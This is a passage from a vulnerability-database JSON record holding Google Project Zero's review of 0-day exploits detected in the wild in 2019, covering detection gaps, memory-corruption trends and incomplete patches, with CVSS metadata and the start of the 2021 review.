\n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n| \n\nYes (1809)\n\n| \n\nWindows SMB \n \nCVE-2019-0803\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n| \n\nExp More Likely (1809)\n\n| \n\nwin32k \n \nCVE-2019-0859\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n| \n\nExp More Likely (1809)\n\n| \n\nwin32k \n \nCVE-2019-0880\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nExp More Likely (1903)\n\n| \n\nsplwow64 \n \nCVE-2019-1132\n\n| \n\nX\n\n| \n| \n| \n| \n| \n| \n| \n| \n\nN/A (1903)\n\n| \n\nwin32k \n \nCVE-2019-1367\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nYes (1903)\n\n| \n\nIE \n \nCVE-2019-1429\n\n| \n\nX\n\n| \n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nYes (1903)\n\n| \n\nIE \n \nCVE-2019-1458\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n| \n| \n| \n| \n\nN/A (1909)\n\n| \n\nwin32k \n \n** \n**\n\n## Internet Explorer JScript 0-days CVE-2019-1367 and CVE-2019-1429\n\nWhile this blog post\u2019s goal is not to detail each 0-day used in 2019, it\u2019d be remiss not to discuss the Internet Explorer JScript 0-days. CVE-2019-1367 and CVE-2019-1429 (and CVE-2018-8653 from Dec 2018 and CVE-2020-0674 from Feb 2020) are all variants of each other with all 4 being exploited in the wild by the same actor [according to Google\u2019s Threat Analysis Group (TAG)](<https://www.blog.google/threat-analysis-group/identifying-vulnerabilities-and-protecting-you-phishing/>). \n\n** \n**\n\nOur [root cause analysis](<https://googleprojectzero.blogspot.com/p/rca-cve-2019-1367.html>) provides more details on these bugs, but we\u2019ll summarize the points here. The bug class is a JScript variable not being tracked by the garbage collector. Multiple instances of this bug class were discovered in Jan 2018 by Ivan Fratric of Project Zero. In December 2018, Google's TAG discovered this bug class being used in the wild (CVE-2018-8653). Then in September 2019, another exploit using this bug class was found. This issue was \u201cfixed\u201d as CVE-2019-1367, but it turns out the patch didn\u2019t actually fix the issue and the attackers were able to continue exploiting the original bug. At the same time, a variant was also found of the original bug by Ivan Fratric ([P0 1947](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1947>)). Both the variant and the original bug were fixed as CVE-2019-1429. Then in January 2020, TAG found another exploit sample, because Microsoft\u2019s patch was again incomplete. This issue was patched as CVE-2020-0674. \n\n** \n**\n\nA more thorough discussion on variant analysis and complete patches is due, but at this time we\u2019ll simply note: The attackers who used the 0-day exploit had 4 separate chances to continue attacking users after the bug class and then particular bugs were known. If we as an industry want to make 0-day harder, we can\u2019t give attackers four chances at the same bug. \n\n# Memory Corruption\n\n63% of 2019\u2019s exploited 0-day vulnerabilities fall under memory corruption, with half of those memory corruption bugs being use-after-free vulnerabilities. Memory corruption and use-after-free\u2019s being a common target is nothing new. \u201c[Smashing the Stack for Fun and Profit](<http://phrack.org/issues/49/14.html>)\u201d, the seminal work describing stack-based memory corruption, was published back in 1996. But it\u2019s interesting to note that almost two-thirds of all detected 0-days are still exploiting memory corruption bugs when there\u2019s been so much interesting security research into other classes of vulnerabilities, such as logic bugs and compiler bugs. Again, two-thirds of detected 0-days are memory corruption bugs. While I don\u2019t know for certain that that proportion is false, we can't know either way because it's easier to detect memory corruption than other types of vulnerabilities. Due to the prevalence of memory corruption bugs and that they tend to be less reliable then logic bugs, this could be another detection bias. Types of memory corruption bugs tend to be very similar within platforms and don\u2019t really change over time: a use-after-free from a decade ago largely looks like a use-after-free bug today and so I think we may just be better at detecting these exploits. Logic and design bugs on the other hand rarely look the same because in their nature they\u2019re taking advantage of a specific flaw in the design of that specific component, thus making it more difficult to detect than standard memory corruption vulns.\n\n** \n**\n\nEven if our data is biased to over-represent memory corruption vulnerabilities, memory corruption vulnerabilities are still being regularly exploited against users and thus we need to continue focusing on systemic and structural fixes such as memory tagging and memory safe languages.\n\n# More Thoughts on Detection\n\nAs we\u2019ve discussed up to this point, the same questions posed in the team's [original blog post](<https://googleprojectzero.blogspot.com/p/0day.html>) still hold true: \u201cWhat is the detection rate of 0-day exploits?\u201d and \u201cHow many 0-day exploits are used without being detected?\u201d. \n\n** \n**\n\nWe, as the security industry, are only able to review and analyze 0-days that were detected, not all 0-days that were used. While some might see this data and say that Microsoft Windows is exploited with 0-days 11x more often than Android, those claims cannot be made in good faith. Instead, I think the security community simply detects 0-days in Microsoft Windows at a much higher rate than any other platform. If we look back historically, the first anti-viruses and detections were built for Microsoft Windows rather than any other platform. As time has continued, the detection methods for Windows have continued to evolve. Microsoft builds tools and techniques for detecting 0-days as well as third party security companies. We don\u2019t see the same plethora of detection tools on other platforms, especially the mobile platforms, which means there\u2019s less likelihood of detecting 0-days on those platforms too. An area for big growth is detecting 0-days on platforms other than Microsoft Windows and what level of access a vendor provides for detection..\n\n** \n**\n\n## Who is doing the detecting? \n\nAnother interesting side of detection is that a single security researcher, Cl\u00e9ment Lecigne of the Google's TAG is credited with 7 of the 21 detected 0-days in 2019 across 4 platforms: Apple iOS (CVE-2019-7286, CVE-2019-7287), Google Chrome (CVE-2019-5786), Microsoft Internet Explorer (CVE-2019-0676, CVE-2019-1367, CVE-2019-1429), and Microsoft Windows (CVE-2019-0808). Put another way, we could have detected a third less of the 0-days actually used in the wild if it wasn\u2019t for Cl\u00e9ment and team. When we add in the entity with the second most, Kaspersky Lab, with 4 of the 0-days (CVE-2019-0797, CVE-2019-0859, CVE-2019-13720, CVE-2019-1458), that means that two entities are responsible for more than 50% of the 0-days detected in 2019. If two entities out of the entirety of the global security community are responsible for detecting more than half of the 0-days in a year, that\u2019s a worrying sign for how we\u2019re using our resources. . The security community has a lot of growth to do in this area to have any confidence that we are detecting the majority of 0-days exploits that are used in the wild. \n\n** \n**\n\nOut of the 20 0-days, only one (CVE-2019-0703) included discovery credit to the vendor that was targeted, and even that one was also credited to an external researcher. To me, this is surprising because I\u2019d expect that the vendor of a platform would be best positioned to detect 0-days with their access to the most telemetry data, logs, ability to build detections into the platform, \u201ctips\u201d about exploits, etc. This begs the question: are the vendor security teams that have the most access not putting resources towards detecting 0-days, or are they finding them and just not disclosing them when they are found internally? Either way, this is less than ideal. When you consider the locked down mobile platforms, this is especially worrisome since it\u2019s so difficult for external researchers to get into those platforms and detect exploitation.\n\n** \n**\n\n## \u201cClandestine\u201d 0-day reporting\n\nAnecdotally, we know that sometimes vulnerabilities are reported surreptitiously, meaning that they are reported as just another bug, rather than a vulnerability that is being actively exploited. This hurts security because users and their enterprises may take different actions, based on their own unique threat models, if they knew a vulnerability was actively exploited. Vendors and third party security professionals could also create better detections, invest in related research, prioritize variant analysis, or take other actions that could directly make it more costly for the attacker to exploit additional vulnerabilities and users if they knew that attackers were already exploiting the bug. If all would transparently disclose when a vulnerability is exploited, our detection numbers would likely go up as well, and we would have better information about the current preferences and behaviors of attackers.\n\n** \n**\n\n# 0-day Detection on Mobile Platforms\n\nAs mentioned above, an especially interesting and needed area for development is mobile platforms, iOS and Android. In 2019, there were only 3 detected 0-days for all of mobile: 2 for iOS (CVE-2019-7286 and CVE-2019-7287) and 1 for Android (CVE-2019-2215). However, there are billions of mobile phone users and Android and iOS exploits sell for double or more compared to an equivalent desktop exploit according to [Zerodium](<https://zerodium.com/program.html>). We know that these exploits are being developed and used, we\u2019re just not finding them. The mobile platforms, iOS and Android, are likely two of the toughest platforms for third party security solutions to deploy upon due to the \u201cwalled garden\u201d of iOS and the application sandboxes of both platforms. The same features that are critical for user security also make it difficult for third parties to deploy on-device detection solutions. Since it\u2019s so difficult for non-vendors to deploy solutions, we as users and the security community, rely on the vendors to be active and transparent in hunting 0-days targeting these platforms. Therefore a crucial question becomes, how do we as fellow security professionals incentivize the vendors to prioritize this?\n\n** \n**\n\nAnother interesting artifact that appeared when doing the analysis is that CVE-2019-2215 is the first detected 0-day since we started tracking 0-days targeting Android. Up until that point, the closest was CVE-2016-5195, which targeted Linux. Yet, the only Android 0-day found in 2019 (AND since 2014) is CVE-2019-2215, which was detected through documents rather than by finding a zero-day exploit sample. Therefore, no 0-day exploit samples were detected (or, at least, publicly disclosed) in all of 2019, 2018, 2017, 2016, 2015, and half of 2014. Based on knowledge of the offensive security industry, we know that that doesn\u2019t mean none were used. Instead it means we aren\u2019t detecting well enough and 0-days are being exploited without public knowledge. Therefore, those 0-days go unpatched and users and the security community are unable to take additional defensive actions. Researching new methodologies for detecting 0-days targeting mobile platforms, iOS and Android, is a focus for Project Zero in 2020.\n\n** \n**\n\n# Detection on Other Platforms\n\nIt\u2019s interesting to note that other popular platforms had no 0-days detected over the same period: like Linux, Safari, or macOS. While no 0-days have been publicly detected in these operating systems, we can have confidence that they are still targets of interest, based on the amount of users they have, job requisitions for offensive positions seeking these skills, and even conversations with offensive security researchers. If Trend Micro\u2019s OfficeScan is worth targeting, then so are the other much more prevalent products. If that\u2019s the case, then again it leads us back to detection. We should also keep in mind though that some platforms may not need 0-days for successful exploitation. For example, this [blogpost](<https://googleprojectzero.blogspot.com/2019/08/jsc-exploits.html>) details how iOS exploit chains used publicly known n-days to exploit WebKit. But without more complete data, we can\u2019t make confident determinations of how much 0-day exploitation is occurring per platform.\n\n# Conclusion\n\nHere\u2019s our first Year in Review of 0-days exploited in the wild. As this program evolves, so will what we publish based on feedback from you and as our own knowledge and experience continues to grow. We started this effort with the assumption of finding a multitude of different conclusions, primarily \u201ctechnical\u201d, but once the analysis began, it became clear that everything came back to a single conclusion: we have a big gap in detecting 0-day exploits. Project Zero is committed to continuing to research new detection methodologies for 0-day exploits and sharing that knowledge with the world. \n\n** \n**\n\nAlong with publishing this Year in Review today, we\u2019re also publishing the [root cause analyses](<https://googleprojectzero.blogspot.com/p/rca.html>) that we completed, which were used to draw our conclusions. Please check out the [blog post](<https://googleprojectzero.blogspot.com/2020/07/root-cause-analyses-for-0-day-in-wild.html>) if you\u2019re interested in more details about the different 0-days exploited in the wild in 2019. \n\n \n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-07-29T00:00:00", "type": "googleprojectzero", "title": "\nDetection Deficit: A Year in Review of 0-days Used In-The-Wild in 2019\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-5195", "CVE-2018-8653", "CVE-2019-0676", "CVE-2019-0703", "CVE-2019-0797", "CVE-2019-0803", "CVE-2019-0808", "CVE-2019-0859", "CVE-2019-0880", "CVE-2019-1132", "CVE-2019-1367", "CVE-2019-13720", "CVE-2019-1429", "CVE-2019-1458", "CVE-2019-2215", "CVE-2019-5786", "CVE-2019-7286", "CVE-2019-7287", "CVE-2020-0674"], "modified": "2020-07-29T00:00:00", "id": "GOOGLEPROJECTZERO:2E85097DC4FBE492B1CB6FAE84AFE126", "href": "https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-07T02:19:24", "description": "A Year in Review of 0-days Used In-the-Wild in 2021\n\nPosted by Maddie Stone, Google Project Zero\n\nThis is our third annual year in review of 0-days exploited in-the-wild [[2020](<https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html>), [2019](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>)]. Each year we\u2019ve looked back at all of the detected and disclosed in-the-wild 0-days as a group and synthesized what we think the trends and takeaways are. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you\u2019re interested in the analysis of individual exploits, please check out our [root cause analysis repository](<https://googleprojectzero.blogspot.com/p/rca.html>).\n\nWe perform and share this analysis in order to make 0-day hard. We want it to be more costly, more resource intensive, and overall more difficult for attackers to use 0-day capabilities. 2021 highlighted just how important it is to stay relentless in our pursuit to make it harder for attackers to exploit users with 0-days. We heard [over](<https://forbiddenstories.org/about-the-pegasus-project/>) and [over](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>) and [over](<https://www.amnesty.org/en/latest/research/2021/11/devices-of-palestinian-human-rights-defenders-hacked-with-nso-groups-pegasus-spyware-2/>) about how governments were targeting journalists, minoritized populations, politicians, human rights defenders, and even security researchers around the world. The decisions we make in the security and tech communities can have real impacts on society and our fellow humans\u2019 lives.\n\nWe\u2019ll provide our evidence and process for our conclusions in the body of this post, and then wrap it all up with our thoughts on next steps and hopes for 2022 in the conclusion. If digging into the bits and bytes is not your thing, then feel free to just check-out the Executive Summary and Conclusion.\n\n# Executive Summary\n\n2021 included the detection and disclosure of 58 in-the-wild 0-days, the most ever recorded since Project Zero began tracking in mid-2014. That\u2019s more than double the previous maximum of 28 detected in 2015 and especially stark when you consider that there were only 25 detected in 2020. We\u2019ve tracked publicly known in-the-wild 0-day exploits in [this spreadsheet](<https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=0>) since mid-2014.\n\nWhile we often talk about the number of 0-day exploits used in-the-wild, what we\u2019re actually discussing is the number of 0-day exploits detected and disclosed as in-the-wild. And that leads into our first conclusion: we believe the large uptick in in-the-wild 0-days in 2021 is due to increased detection and disclosure of these 0-days, rather than simply increased usage of 0-day exploits.\n\nWith this record number of in-the-wild 0-days to analyze we saw that attacker methodology hasn\u2019t actually had to change much from previous years. Attackers are having success using the same bug patterns and exploitation techniques and going after the same attack surfaces. Project